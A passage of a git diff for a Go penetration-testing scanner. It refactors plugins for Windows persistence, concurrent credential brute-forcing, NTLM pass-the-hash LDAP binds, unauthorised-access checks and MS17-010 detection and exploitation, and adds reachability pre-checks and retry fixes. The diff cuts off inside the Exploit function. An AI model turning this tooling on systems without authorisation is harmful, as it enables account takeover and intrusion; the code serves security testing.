100644 --- a/plugins/local/winservice.go +++ b/plugins/local/winservice.go @@ -33,7 +33,9 @@ func NewWinServicePlugin() *WinServicePlugin { } // Scan 执行Windows服务持久化 - 直接实现 -func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go index 1b341e3..9e59e41 100644 --- a/plugins/local/winstartup.go +++ b/plugins/local/winstartup.go @@ -33,7 +33,9 @@ func NewWinStartupPlugin() *WinStartupPlugin { } // Scan 执行Windows启动文件夹持久化 - 直接实现 -func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go index effe0e2..1ca2e98 100644 --- a/plugins/local/winwmi.go +++ b/plugins/local/winwmi.go @@ -33,7 +33,9 @@ func NewWinWMIPlugin() *WinWMIPlugin { } // Scan 执行Windows WMI事件订阅持久化 - 直接实现 -func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result { +func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + config := session.Config + state := session.State var output strings.Builder // 从config获取配置 diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index a1bff9f..d9b5cbf 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -25,11 +25,12 @@ func NewActiveMQPlugin() *ActiveMQPlugin { } } -func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 生成测试凭据 @@ -48,8 +49,8 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig) @@ -61,23 +62,23 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config } // createAuthFunc 创建ActiveMQ认证函数 -func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doActiveMQAuth(ctx, info, cred, config, state) + return p.doActiveMQAuth(ctx, info, cred, session) } } // doActiveMQAuth 执行ActiveMQ认证 -func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() + config := session.Config timeout := config.Timeout resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyActiveMQErrorType(err), @@ -88,7 +89,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config) if success { - state.IncrementTCPSuccessPacketCount() resultChan <- &AuthResult{ Success: true, Conn: &activeMQConnWrapper{conn}, @@ -99,7 +99,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn } _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyActiveMQErrorType(err), @@ -111,7 +110,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn case result := <-resultChan: return result case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { result := <-resultChan if result != nil && result.Conn != nil { @@ -199,13 +197,12 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str } // identifyService ActiveMQ服务识别 -func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - timeout := config.Timeout + timeout := session.Config.Timeout - conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "activemq", @@ -218,7 +215,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "activemq", @@ -230,7 +226,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI response := make([]byte, 512) n, err := conn.Read(response) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "activemq", @@ -245,7 +240,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI } } - state.IncrementTCPSuccessPacketCount() responseStr := string(response[:n]) if common.ContainsAny(responseStr, "CONNECTED", "ERROR") { diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index 39f1ae2..1ad9fe7 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -24,7 +24,9 @@ func NewCassandraPlugin() *CassandraPlugin { } } -func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { @@ -47,7 +49,7 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, confi // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index aa302b6..da4f2ae 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -5,6 +5,7 @@ import ( "database/sql" "fmt" "io" + "net" "sync" "time" @@ -77,12 +78,18 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) case result := <-resultChan: return result case <-ctx.Done(): - // context 被取消,但 goroutine 可能还在运行 - // 启动清理协程:等待结果并关闭连接 + // context 被取消,但 authFn goroutine 可能还阻塞在第三方库 IO 上 + // 限时等待:超过 5 秒直接放弃,避免 goroutine 无限泄漏 go func() { - result := <-resultChan - if result != nil && result.Conn != nil { - _ = result.Conn.Close() + timer := time.NewTimer(5 * time.Second) + defer timer.Stop() + select { + case result := <-resultChan: + if result != nil && result.Conn != nil { + _ = result.Conn.Close() + } + case <-timer.C: + // 第三方库不响应取消,放弃等待 } }() return &AuthResult{ @@ -103,6 +110,7 @@ type ConcurrentTestConfig struct { MaxRetries int // 最大重试次数,默认 3 RetryDelay time.Duration // 重试延迟,默认 1s MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5 + TargetAddr string // 目标地址 host:port,用于 TCP 预检(可选) } // DefaultConcurrentTestConfig 默认配置 @@ -112,12 +120,20 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig { concurrency = 10 } return ConcurrentTestConfig{ - Concurrency: concurrency, - MaxRetries: 3, - RetryDelay: time.Second, + Concurrency: concurrency, + MaxRetries: 3, + RetryDelay: time.Second, + MaxConsecutiveNetErrors: 5, } } +// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置 +func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig { + cfg := DefaultConcurrentTestConfig(config) + cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port) + return cfg +} + // TestCredentialsConcurrently 并发测试多个凭据 // 找到成功凭据后立即通知其他 worker 停止 func TestCredentialsConcurrently( @@ -135,6 +151,20 @@ func TestCredentialsConcurrently( } } + // TCP 预检:快速验证目标可达,避免对不可达目标浪费全部凭据尝试 + // 代理模式下跳过:net.DialTimeout 直连无法到达代理后的内网目标 + if testConfig.TargetAddr != "" && !common.IsProxyEnabled() { + preConn, err := net.DialTimeout("tcp", testConfig.TargetAddr, 3*time.Second) + if err != nil { + return &ScanResult{ + Success: false, + Service: serviceName, + Error: fmt.Errorf("目标不可达: %w", err), + } + } + _ = preConn.Close() + } + // 调整并发数 concurrency := testConfig.Concurrency if concurrency > len(credentials) { @@ -145,9 +175,9 @@ func TestCredentialsConcurrently( cancelCtx, cancel := context.WithCancel(ctx) defer cancel() - // 通道 + // 通道(buffer 设为 concurrency+1 避免 worker 阻塞在发送上) credChan := make(chan Credential, len(credentials)) - resultChan := make(chan *ScanResult, concurrency) + resultChan := make(chan *ScanResult, concurrency+1) // 发送所有凭据 for _, cred := range credentials { @@ -205,6 +235,12 @@ func workerTestCredentials( serviceName string, testConfig ConcurrentTestConfig, ) { + consecutiveNetErrors := 0 + maxNetErrors := testConfig.MaxConsecutiveNetErrors + if maxNetErrors <= 0 { + maxNetErrors = 5 + } + for cred := range credChan { // 检查是否应该停止 select { @@ -213,12 +249,24 @@ func workerTestCredentials( default: } + // 连续网络错误达到阈值,目标可能不可达,提前退出 + if consecutiveNetErrors >= maxNetErrors { + return + } + // 带重试的凭据测试 result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig) if result != nil && result.Success { resultChan <- result return } + + // 跟踪连续网络错误 + if result != nil && result.Error != nil { + consecutiveNetErrors++ + } else { + consecutiveNetErrors = 0 + } } } @@ -261,11 +309,12 @@ func testCredentialWithRetry( case ErrorTypeNetwork, ErrorTypeUnknown: // 网络错误或未知错误,可以重试(可能是服务端限流等临时问题) if attempt < testConfig.MaxRetries-1 { + timer := time.NewTimer(testConfig.RetryDelay) select { case <-ctx.Done(): + timer.Stop() return nil - case <-time.After(testConfig.RetryDelay): - // 继续重试 + case <-timer.C: } } } diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 8706763..9fd3464 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -25,7 +25,9 @@ func NewElasticsearchPlugin() *ElasticsearchPlugin { } } -func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index 2c66cf8..5bf61a1 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -36,7 +36,8 @@ func NewFindNetPlugin() *FindNetPlugin { // GetPorts 实现Plugin接口 // Scan 执行FindNet扫描 - Windows网络信息收集 -func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 检查是否为RPC端口 @@ -48,10 +49,8 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config } } - // WrapperTcpWithTimeout内部已包含发包限制检查 - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "findnet", @@ -66,7 +65,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 执行RPC网络发现 networkInfo, err := p.performNetworkDiscovery(conn) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "findnet", @@ -74,8 +72,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config } } - state.IncrementTCPSuccessPacketCount() - // 记录发现的网络信息 (一次性输出,避免被其他日志打断) if networkInfo.Valid { var lines []string @@ -169,7 +165,9 @@ func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, er // 查找响应结束标记 for i := 0; i < len(responseData)-5; i++ { if bytes.Equal(responseData[i:i+6], rpcBuffer3) { - responseData = responseData[:i-4] + if i >= 4 { + responseData = responseData[:i-4] + } break } } diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index a9c04a5..a3513d6 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -24,7 +24,9 @@ func NewFTPPlugin() *FTPPlugin { } } -func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { return p.identifyService(info, config, state) } @@ -47,7 +49,7 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig) diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 64fe65e..71d0339 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -24,7 +24,9 @@ func NewKafkaPlugin() *KafkaPlugin { } } -func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State if config.DisableBrute { return p.identifyService(ctx, info, config, state) } @@ -42,7 +44,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig) diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index c5c650c..0f2b94e 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -23,16 +23,17 @@ func NewLDAPPlugin() *LDAPPlugin { } } -func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } target := info.Target() // Hash 认证优先:检查是否配置了 Hash 和 Domain if len(config.Credentials.HashValues) > 0 && config.Credentials.Domain != "" { - result := p.tryHashAuth(ctx, info, config, state) + result := p.tryHashAuth(ctx, info, session) if result != nil && result.Success { return result } @@ -48,8 +49,8 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig) @@ -61,24 +62,22 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co } // createAuthFunc 创建LDAP认证函数 -func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doLDAPAuth(ctx, info, cred, config, state) + return p.doLDAPAuth(ctx, info, cred, session) } } // doLDAPAuth 执行LDAP认证 -func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - conn, err := p.connectLDAP(ctx, info, config) +func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { + conn, err := p.connectLDAP(ctx, info, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyLDAPErrorType(err), Error: err, } } - state.IncrementTCPSuccessPacketCount() // 尝试多种DN格式进行绑定测试 dnFormats := []string{ @@ -117,7 +116,8 @@ func (w *ldapConnWrapper) Close() error { } // tryHashAuth 尝试 NTLM Hash 认证 -func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() domain := config.Credentials.Domain users := config.Credentials.Userdict["ldap"] @@ -139,7 +139,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con default: } - result := p.doNTLMHashAuth(ctx, info, domain, user, hash, config, state) + result := p.doNTLMHashAuth(ctx, info, domain, user, hash, session) if result.Success { // 截断 hash 用于显示 displayHash := hash @@ -162,17 +162,15 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con } // doNTLMHashAuth 执行单次 NTLM Hash 认证 -func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, config *common.Config, state *common.State) *AuthResult { - conn, err := p.connectLDAP(ctx, info, config) +func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, session *common.ScanSession) *AuthResult { + conn, err := p.connectLDAP(ctx, info, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifyLDAPErrorType(err), Error: err, } } - state.IncrementTCPSuccessPacketCount() if err := conn.NTLMBindWithHash(domain, username, hash); err == nil { return &AuthResult{ @@ -192,7 +190,7 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, } // connectLDAP 连接LDAP服务器 -func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, config *common.Config) (*ldaplib.Conn, error) { +func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (*ldaplib.Conn, error) { target := info.Target() type result struct { @@ -202,7 +200,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con resultChan := make(chan result, 1) go func() { - tcpConn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + tcpConn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { resultChan <- result{nil, err} return @@ -223,7 +221,6 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con case res := <-resultChan: return res.conn, res.err case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { res := <-resultChan if res.conn != nil { @@ -257,19 +254,17 @@ func classifyLDAPErrorType(err error) ErrorType { return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors) } -func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := p.connectLDAP(ctx, info, config) + conn, err := p.connectLDAP(ctx, info, session) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "ldap", Error: err, } } - state.IncrementTCPSuccessPacketCount() defer func() { _ = conn.Close() }() banner := "LDAP" diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index 1e1b9a6..be6800b 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -24,15 +24,16 @@ func NewMemcachedPlugin() *MemcachedPlugin { } } -func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 检测未授权访问 - if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("memcached_unauth", target)) return result } @@ -46,14 +47,14 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, confi } // testUnauthorizedAccess 测试Memcached未授权访问 -func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - conn := p.connectToMemcached(ctx, info, config, state) +func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + conn := p.connectToMemcached(ctx, info, session) if conn == nil { return nil } defer func() { _ = conn.Close() }() - if p.testBasicCommand(conn, config) { + if p.testBasicCommand(conn, session.Config) { return &ScanResult{ Type: plugins.ResultTypeVuln, Success: true, @@ -65,20 +66,19 @@ func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *comm return nil } -func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn { +func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn { target := info.Target() + timeout := session.Config.Timeout connChan := make(chan net.Conn, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { - state.IncrementTCPFailedPacketCount() connChan <- nil return } - state.IncrementTCPSuccessPacketCount() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(timeout)) connChan <- conn }() @@ -86,7 +86,6 @@ func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.H case conn := <-connChan: return conn case <-ctx.Done(): - // context 被取消,启动清理协程等待并关闭可能创建的连接 go func() { conn := <-connChan if conn != nil { @@ -114,10 +113,10 @@ func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config) return common.ContainsAny(responseStr, "VERSION", "memcached") } -func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn := p.connectToMemcached(ctx, info, config, state) + conn := p.connectToMemcached(ctx, info, session) if conn == nil { return &ScanResult{ Success: false, @@ -127,7 +126,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host } defer func() { _ = conn.Close() }() - if p.testBasicCommand(conn, config) { + if p.testBasicCommand(conn, session.Config) { banner := "Memcached" common.LogSuccess(i18n.Tr("memcached_service", target, banner)) return &ScanResult{ diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 5a3875f..78d1cd5 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -28,15 +28,17 @@ func NewMongoDBPlugin() *MongoDBPlugin { } } -func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config) + return p.identifyService(ctx, info, session) } // 首先检测未授权访问 - isUnauth, err := p.mongodbUnauth(ctx, info, config) + isUnauth, err := p.mongodbUnauth(ctx, info, session) if err != nil { return &ScanResult{ Success: false, @@ -67,7 +69,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig) @@ -182,10 +184,10 @@ func classifyMongoDBErrorType(err error) ErrorType { return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors) } -func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult { +func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - isUnauth, err := p.mongodbUnauth(ctx, info, config) + isUnauth, err := p.mongodbUnauth(ctx, info, session) if err != nil { return &ScanResult{ Success: false, @@ -214,14 +216,14 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn } // mongodbUnauth 检测MongoDB未授权访问 -func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, config *common.Config) (bool, error) { +func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) { msgPacket := p.createOpMsgPacket() queryPacket := p.createOpQueryPacket() realhost := fmt.Sprintf("%s:%d", info.Host, info.Port) - reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, config) + reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, session) if err != nil { - reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, config) + reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, session) if err != nil { return false, err } @@ -239,8 +241,8 @@ func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo } // checkMongoAuth 检查MongoDB认证状态 -func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, config *common.Config) (string, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", address, config.Timeout) +func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, session *common.ScanSession) (string, error) { + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { return "", fmt.Errorf("连接失败: %w", err) } @@ -252,7 +254,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack default: } - if deadlineErr := conn.SetDeadline(time.Now().Add(config.Timeout)); deadlineErr != nil { + if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.Timeout)); deadlineErr != nil { return "", fmt.Errorf("设置超时失败: %w", deadlineErr) } diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index 5884914..7bba523 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -10,6 +10,7 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "net" "os" "strings" "time" @@ -34,16 +35,7 @@ func NewMS17010Plugin() *MS17010Plugin { // GetPorts 实现Plugin接口 // Scan 执行MS17-010扫描 -func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - // 如果禁用暴力破解,也禁用漏洞检测 - if config.DisableBrute { - return &ScanResult{ - Success: false, - Service: "ms17010", - Error: fmt.Errorf("MS17010检测已禁用"), - } - } - +func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() // 检查端口 @@ -56,7 +48,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config } // 执行MS17010漏洞检测 - vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, state) + vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { return &ScanResult{ Success: false, @@ -71,10 +63,13 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config msg += fmt.Sprintf(" [%s]", osVersion) } common.LogVuln(msg) + if hasBackdoor { + common.LogVuln(fmt.Sprintf("MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", target)) + } return &ScanResult{ Success: true, - Type: plugins.ResultTypeVuln, + Type: plugins.ResultTypeVuln, Service: "ms17010", Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion), } @@ -88,7 +83,8 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config } // Exploit 执行MS17-010漏洞利用 -func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult { +func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult { + config := session.Config target := info.Target() common.LogSuccess(i18n.Tr("ms17010_start", target)) @@ -96,7 +92,7 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s 